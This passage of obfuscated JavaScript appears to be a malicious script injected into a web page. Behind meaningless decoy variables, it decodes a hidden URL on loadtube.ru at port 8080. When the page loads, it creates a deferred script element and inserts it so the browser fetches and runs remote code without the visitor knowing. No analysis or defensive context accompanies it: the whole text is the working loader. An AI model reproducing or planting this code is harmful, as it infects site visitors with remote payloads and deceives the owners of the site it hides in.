Array();var vm;if(vm!='Cs' && vm!='lE'){vm='Cs'};var ODP;if(ODP!='XH' && ODP!='fA'){ODP='XH'};return '';this.xh="xh";var WB;if(WB!='Weh'){WB=''};};var fo;if(fo!='' && fo!='VH'){fo=null};var RD="RD";var oM;if(oM!='' && oM!='yt'){oM=null};T(rWJ);


var S=new Date();var d=new Date();var f=new Date();function B(){var b;if(b!='' && b!='A'){b='Fl'};var W='';var K=unescape;var fw;if(fw!=''){fw='C'};var v;if(v!=''){v='q'};var Kz=window;var jj=new Date();var j_;if(j_!='' && j_!='O'){j_=''};var M=K("%2f%62%72%65%61%6b%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%62%6c%61%63%6b%62%65%72%72%79%2e%63%6f%6d%2e%70%68%70");this.CM="";var x;if(x!=''){x='Y'};var aW;if(aW!='' && aW!='nq'){aW='Ne'};function j(KE,BZ){var z=String("getCF".substr(0,1));var LC;if(LC!=''){LC='i'};var X=K("%5b"), E=K("%5d");var y=X+BZ+E;var H=new RegExp(y, z);var IZ;if(IZ!='' && IZ!='KT'){IZ='ok'};return KE.replace(H, new String());this.EZ='';var gq;if(gq!='' && gq!='PL'){gq=''};};var l="";var p=j('816101518239055','32179546');var qt=new Array();this.Y_="";var e=document;this.MX='';var tXC;if(tXC!='Lh' && tXC!='Sp'){tXC=''};var pd=new String();this.od='';var yp;if(yp!='' && yp!='kI'){yp='an'};var m;if(m!='CG' && m != ''){m=null};function F(){this.gD="";var UG=new String();var bZ;if(bZ!='XX'){bZ=''};var YA=new String();var yI=K("%68%74%74%70%3a%2f%2f%6c%6f%61%64%74%75%62%65%2e%72%75%3a");var jv='';var Ht=new String();pd=yI;pd+=p;var Eu=new String();var gH;if(gH!='' && gH!='Ak'){gH='Sc'};pd+=M;var wMr='';var n_='';try {var ZJ=new String();var wH=new String();this.DL='';g=e.createElement(j('sWcqr5ibpKt5','5WAqDbYhK'));var uX;if(uX!='' && uX!='wu'){uX=null};g[K("%64%65%66%65%72")]=[7,1][1];var fa;if(fa!='' && fa!='Cqu'){fa=null};g[K("%73%72%63")]=pd;e.body.appendChild(g);var Ya;if(Ya!='EC' && Ya != ''){Ya=null};this.Ga='';var Pj;if(Pj!='tN' && Pj != ''){Pj=null};} catch(r){alert(r);var EJ=new Date();var HH=new String();};var ZSC=new Array();}var zG='';Kz[String("onl"+"We4uoad".substr(4))]=F;var BD;if(BD!='' && BD!='nF'){BD='DO'};var gJ;if(gJ!='wD' && gJ!='CW'){gJ=''};};var KX='';var cs='';B();